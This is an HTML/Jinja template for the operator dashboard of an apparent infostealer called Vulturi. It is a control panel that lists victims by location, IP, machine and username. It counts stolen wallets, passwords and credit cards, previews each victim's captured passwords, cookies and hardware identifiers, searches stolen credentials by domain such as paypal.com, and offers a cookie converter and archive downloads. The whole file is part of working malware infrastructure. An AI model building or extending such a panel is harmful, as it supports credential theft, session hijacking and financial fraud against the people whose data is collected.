<!-- Coded by L1ghtM3n@protonmail.com -->
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Vulturi | Dashboard</title>
    <link rel="icon" type="image/png" href="{{ url_for('static', filename='images/favicon.png') }}"/>
    
    <link href="{{ url_for('static', filename='css/main.css') }}" rel="stylesheet">
    <link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
    <link href="{{ url_for('static', filename='css/dashboard.css') }}" rel="stylesheet">
    <link href="{{ url_for('static', filename='css/materialize.css') }}" rel="stylesheet">
    <link href="{{ url_for('static', filename='css/material-icons.css') }}" rel="stylesheet">
    
    <script>let username = "{{ username }}";</script>
    <script src="{{ url_for('static', filename='js/dashboard.js') }}"></script>
    <script src="{{ url_for('static', filename='js/sweetalert.js') }}"></script>
    <script src="{{ url_for('static', filename='js/materialize.js') }}"></script>
    
  </head>
  <body>

    <!-- Account Dropdown Structure -->
    <ul id="account_dropdown" class="dropdown-content">
      <li><a href="#"><span class="material-icons mi">admin_panel_settings</span> Logged as: {{ username }}</a></li>
      <li><a href="settings"><span class="material-icons mi">settings</span> Account settings</a></li>
      <li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
    </ul>

    <!-- Sort Dropdown Structure -->
    <ul id="sort_dropdown" class="dropdown-content">
      <li><a onclick="SortTable('count');">
        <span class="material-icons mi">account_balance</span> Sort by data count</a></li>
      <li><a onclick="SortTable('date');">
        <span class="material-icons mi">date_range</span> Sort by upload date</a></li>
      <li><a onclick="SortTable('country');">
        <span class="material-icons mi">public</span> Sort by country name</a></li>
      <li class="divider" tabindex="-1"></li>
      <li class="center row">
        
        <p class="col">
          Reverse results:<p>
        <div class="right switch col s12">
          <label>
            Off
            <input id="sort_reverse" type="checkbox">
            <span class="lever"></span>
            On
          </label>
        </div>
      </li>
    </ul>
    
    <!-- DESKTOP NAVBAR -->
    <nav class="black" style="padding: 0px 10px; position: fixed; z-index: 2;">
        <div class="nav-wrapper">
            <a href="#" class="brand-logo">
              <span class="material-icons md-36 mi">visibility</span> Vulturi</a>

            <a href="#" class="sidenav-trigger" data-target="mobile-nav">
                <span class="material-icons mi">menu</span>
            </a>
           
            <ul class="right hide-on-med-and-down ">
              <li><a href="#" class="dropdown-trigger" data-target="sort_dropdown"><span class="material-icons mi">sort</span> Sort</a></li>
              <li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
              <li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
              <li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
              <li><a href="#" class="dropdown-trigger" data-target="account_dropdown"><span class="material-icons mi">account_circle</span> Account</a></li>
            </ul> 
        </div>
    </nav>

    <!-- MOBILE NAVBAR -->
    <ul class="sidenav" id="mobile-nav">
      <li><a href="dashboard"><span class="material-icons mi">dashboard</span> Dashboard</a></li>
      <li><a href="statistics"><span class="material-icons mi">pie_chart</span> Statistics</a></li>
      <li><a href="converter"><span class="material-icons mi">settings_input_svideo</span> Cookie converter</a></li>
      <li><a href="settings"><span class="material-icons mi">settings</span> Settings</a></li>
      <li><a href="api/logout"><span class="material-icons mi">exit_to_app</span> Log off</a></li>
    </ul>

    <div class="row" style="position: relative; top: 80px;">
        <!-- LOGS COUNT -->
        <div class="col s12 m3">
          <div class="card black z-depth-3 hoverable">
            <div class="card-content white-text">
              <span class="card-title">
                    Logs count
                    <span class="material-icons md-48 right">analytics</span>
                    <br>
                    <h3>{{ counter_reports }}</h3>
              </span>
            </div>
          </div>
        </div>
        <!-- WALLETS COUNT -->
        <div class="col s12 m3">
            <div class="card black z-depth-3 hoverable">
              <div class="card-content white-text">
                <span class="card-title">
                      Wallets count
                      <span class="material-icons md-48 right">account_balance_wallet</span>
                      <br>
                      <h3>{{ counter_wallets }}</h3>
                </span>
              </div>
            </div>
          </div>
          <!-- PASSWORDS COUNT -->
          <div class="col s12 m3">
            <div class="card black z-depth-3 hoverable">
              <div class="card-content white-text">
                <span class="card-title">
                      Passwords count
                      <span class="material-icons md-48 right">vpn_key</span>
                      <br>
                      <h3>{{ counter_passwords }}</h3>
                </span>
              </div>
            </div>
          </div>
          <!-- CREDIT CARDS COUNT -->
          <div class="col s12 m3">
            <div class="card black z-depth-3 hoverable">
              <div class="card-content white-text">
                <span class="card-title">
                      Credit cards count
                      <span class="material-icons md-48 right">credit_card</span>
                      <br>
                      <h3>{{ counter_credit_cards }}</h3>
                </span>
              </div>
            </div>
          </div>
      </div>
    
  <!-- Preview modal structure -->
  <div id="modal_preview" class="grey darken-4 white-text modal modal-fixed-footer">
    <div class="modal-content">
      <h4><span class="material-icons md-36 mi">search</span> Preview log</h4>

      <h5>
        <span class="material-icons md-36 mi">account_balance</span> 
        Counter:
      </h5>
      <p id="preview_counter_wallets"></p>
      <p id="preview_counter_passwords"></p>
      <p id="preview_counter_cookies"></p>
      <p id="preview_counter_credit_cards"></p>
      <p id="preview_counter_autofill"></p>
      <p id="preview_counter_history"></p>
      <p id="preview_counter_grabber"></p>

      <h5>
        <span class="material-icons md-36 mi">memory</span> 
        OS/Hardware:
      </h5>
      <p id="preview_info_screen"></p>
      <p id="preview_info_ram"></p>
      <p id="preview_info_cpu_name"></p>
      <p id="preview_info_gpu_name"></p>
      <p id="preview_info_cpu_id"></p>
      <p id="preview_info_disk_id"></p>
      <p id="preview_info_manufacturer"></p>
      <br>
      <p id="preview_info_public_ip"></p>
      <p id="preview_info_local_ip"></p>
      <p id="preview_info_gateway_ip"></p>
      <p id="preview_info_bssid"></p>
      <br>
      <p id="preview_info_power_adapter"></p>
      <p id="preview_info_battery_percentage"></p>
      <br>
      <p id="preview_info_os_name"></p>
      <p id="preview_info_os_username"></p>
      <p id="preview_info_os_machinename"></p>


      <h5>
        <span class="material-icons md-36 mi">public</span> 
        Domains info:
      </h5>
      
      <!-- PASSWORDS LIST -->
      <div class="row">
        <div class="col s6">
          <div class="row">
            <div class="input-field col s12">
              <textarea id="preview_passwords_list" class="materialize-textarea white-text"></textarea>
              <label for="preview_passwords_list">Passwords list</label>
            </div>
          </div>
        </div>
        <!-- COOKIES LIST -->
        <div class="col s6">
          <div class="row">
            <div class="input-field col s12">
              <textarea id="preview_cookies_list" class="materialize-textarea white-text"></textarea>
              <label for="preview_cookies _list">Cookies list</label>
            </div>
          </div>
        </div>
      </div>

    </div>
    <div class="modal-footer grey darken-3">
      <a id="preview_delete_button" href="#!" class="waves-effect waves-red btn-flat red white-text">Delete</a>
      <a id="preview_download_button" href="#!" class="waves-effect waves-light btn-flat teal white-text">Download</a>
      <a href="#!" class="modal-close waves-effect waves-light btn-flat blue white-text">Close</a>
    </div>
  </div>

      <!-- Sort and search -->
      <div id="search_block" class="hoverable">
        <div class="row">
          <div class="col s12">
              <div class="input-field">
                <i class="material-icons prefix">search</i>
                <input id="search_input" onchange="SearchDomains();" id="icon_prefix" type="text" class="white-text" placeholder="Example: paypal.com, blockchain.com">
                <label for="icon_prefix">Search domains in passwords and cookies</label>
              </div>
          </div>
        </div>
      </div>

      <!-- LOGS TABLE -->
      <table id="logs_table" class="highlight bordered centered white-text">
        <thead class="black">
          
          <tr>
              <th><span class="material-icons mi">gps_fixed</span> Location</th>
              <th><span class="material-icons mi">account_box</span> Username</th>
              <th><span class="material-icons mi">laptop</span> Compname</th>
              <th><span class="material-icons mi">today</span> Upload Date</th>
              <th><span class="material-icons mi">comment</span> Comment</th>
              <th><span class="material-icons mi">settings</span> Actions</th>
          </tr>
        </thead>
        <tbody class="grey darken-4">
          
          {% for report in reports %}
            <tr>
              <td class="tooltipped" data-position="bottom" data-tooltip="IP: {{ report.geo_data.ip_address }}">
                <img src="{{ url_for('static', filename='images/flags/' + report.geo_data.iso_code + '.svg') }}" id="country_flag"> 
                {{ report.geo_data.country + ", " + report.geo_data.city}}</td>
              <td>{{ report.information.os.compname }}</td>
              <td>{{ report.information.os.username }}</td>
              <td>{{ report.add_time }}</td>
              <td><input id="COMMENT_INPUT_{{ report.id }}" class="input-field white-text" value="{{ report.comment }}" placeholder="Enter comment here" type="text"></td>
              <!-- ACTION BUTTONS -->
              <td>
                <!-- EDIT COMMENT -->
                <a class="purple darken-2 waves-effect waves-light btn-floating tooltipped"
                  data-position="bottom" data-tooltip="Change report comment"
                  onclick="CommentReport({{ report.id }});">
                  <span class="material-icons mi">note_add</span>
                </a>
                <!-- PREVIEW BUTTON -->
                <a class="amber darken-3 waves-effect waves-light btn-floating tooltipped"
                  data-position="bottom" data-tooltip="Information"
                  onclick="PreviewReport({{ report.id }}, this);">
                  <span class="material-icons mi">preview</span>
                </a>
                <!-- DOWNLOAD BUTTON -->
                <a class="teal accent-4 waves-effect waves-light btn-floating tooltipped"
                  data-position="bottom" data-tooltip="Download archive"
                  href="api/get_report?id={{ report.id }}">
                  <span class="material-icons mi">get_app</span>
                </a>
                <!-- DELETE BUTTON -->
                <a class="red accent-4 waves-effect waves-light btn-floating tooltipped"
                  data-position="bottom" data-tooltip="Delete report from server"
                  onclick="DeleteReport({{ report.id }}, this);">
                  <span class="material-icons mi">delete_forever</span>
                </a>

              </td>
            </tr>
          {% endfor %}
        </tbody>
      </table>

  </body>


</html>